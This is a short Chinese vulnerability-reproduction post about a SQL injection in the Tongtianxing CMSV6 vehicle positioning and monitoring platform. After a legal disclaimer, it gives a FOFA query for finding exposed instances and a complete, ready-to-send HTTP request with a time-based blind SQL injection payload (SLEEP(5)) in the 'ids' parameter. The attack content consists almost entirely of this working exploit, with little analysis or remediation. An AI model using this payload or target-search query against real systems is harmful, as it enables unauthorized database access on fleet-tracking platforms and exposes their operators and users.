【漏洞复现】通天星 CMSV6 车载定位监控平台 SQL 注入漏洞

漏洞情报来源于互联网收集整理，请勿利用文章内的相关技术从事非法测试。由于传播、利用本文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。本文仅供学习用途使用。

漏洞信息

fofa: body="/808gps/"
exp:

GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: 114.5.1.4
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8
Accept-Encoding: gzip, deflate
Connection: close

发送数据包执行 SQL 语句，延时 5 秒。